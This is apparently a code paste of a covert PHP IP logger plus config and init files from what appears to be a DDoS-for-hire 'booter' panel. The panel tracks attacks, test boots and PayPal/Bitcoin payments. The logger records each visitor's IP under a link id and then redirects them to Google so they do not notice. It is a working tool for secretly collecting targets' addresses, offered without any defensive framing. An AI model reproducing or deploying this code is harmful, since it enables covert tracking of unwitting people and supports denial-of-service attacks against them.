· 9 years ago · Dec 09, 2016, 07:56 PM
1<?php
2if (isset($_GET['id']))
3{
4$id = $_GET['id'];
5if(is_numeric($id) == false) {
6echo "Invalid New ID";
7exit;
8}
9require '@/config.php';
10require '@/init.php';
11if ($cloudflare == 1)
12{
13$ip = $_SERVER["HTTP_CF_CONNECTING_IP"];
14}
15else
16{
17$ip = $_SERVER['REMOTE_ADDR'];
18}
19 $SQL = $odb -> prepare('INSERT INTO `iplogs` VALUES(NULL, :id, :ip, UNIX_TIMESTAMP())');
20 $SQL -> execute(array(':id' => $id, ':ip' => $ip));
21 header('location: http://google.com');
22
23}
24else
25{
26 header('location: http://google.com');
27}
28?>
29
30
31Config:
32<?php
33define('DB_HOST', 'localhost');
34define('DB_NAME', 'db');
35define('DB_USERNAME', 'root');
36define('DB_PASSWORD', 'password');
37define('ERROR_MESSAGE', 'Oops, we ran into a problem here :(');
38
39try {
40$odb = new PDO('mysql:host=' . DB_HOST . ';dbname=' . DB_NAME, DB_USERNAME, DB_PASSWORD);
41}
42catch( PDOException $Exception ) {
43 error_log('ERROR: '.$Exception->getMessage().' - '.$_SERVER['REQUEST_URI'].' at '.date('l jS \of F, Y, h:i:s A')."\n", 3, 'error.log');
44 die(ERROR_MESSAGE);
45}
46
47function error($string)
48{
49return '<div class="alert alert-danger alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button><strong>ERROR:</strong> '.$string.'</div>';
50}
51
52function success($string)
53{
54return '<div class="alert alert-success alert-dismissable"><button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button><strong>SUCCESS:</strong> '.$string.'</div>';
55}
56?>
57
58Init.php:
59<?php
60if (basename($_SERVER['SCRIPT_FILENAME']) == basename(__FILE__)) {exit("NOT ALLOWED");}
61
62define('DIRECT', TRUE);
63require 'functions.php';
64$user = new user;
65$stats = new stats;
66
67
68$siteinfo = $odb -> query("SELECT * FROM `settings` LIMIT 1");
69while ($show = $siteinfo -> fetch(PDO::FETCH_ASSOC))
70{
71$sitename = $show['sitename'];
72$description = $show['description'];
73$maintaince = $show['maintaince'];
74$paypal = $show['paypal'];
75$bitcoin = $show['bitcoin'];
76$tos = $show['tos'];
77$siteurl = $show['url'];
78$rotation = $show['rotation'];
79$system = $show['system'];
80$maxattacks = $show['maxattacks'];
81$key = $show['key'];
82$testboots = $show['testboots'];
83$cloudflare = $show['cloudflare'];
84$cbp = $show['cbp'];
85$skype = $show['skype'];
86$issuerId = $show['issuerId'];
87$secretKey = $show['secretKey'];
88$coinpayments = $show['coinpayments'];
89$ipnSecret = $show['ipnSecret'];
90}
91
92$sitevideos = $odb -> query("SELECT * FROM `yt` LIMIT 1");
93while ($yt = $sitevideos -> fetch(PDO::FETCH_ASSOC))
94{
95$video1 = $yt['id1'];
96$video2 = $yt['id2'];
97$date1 = $yt['date1'];
98$date2 = $yt['date2'];
99}
100?>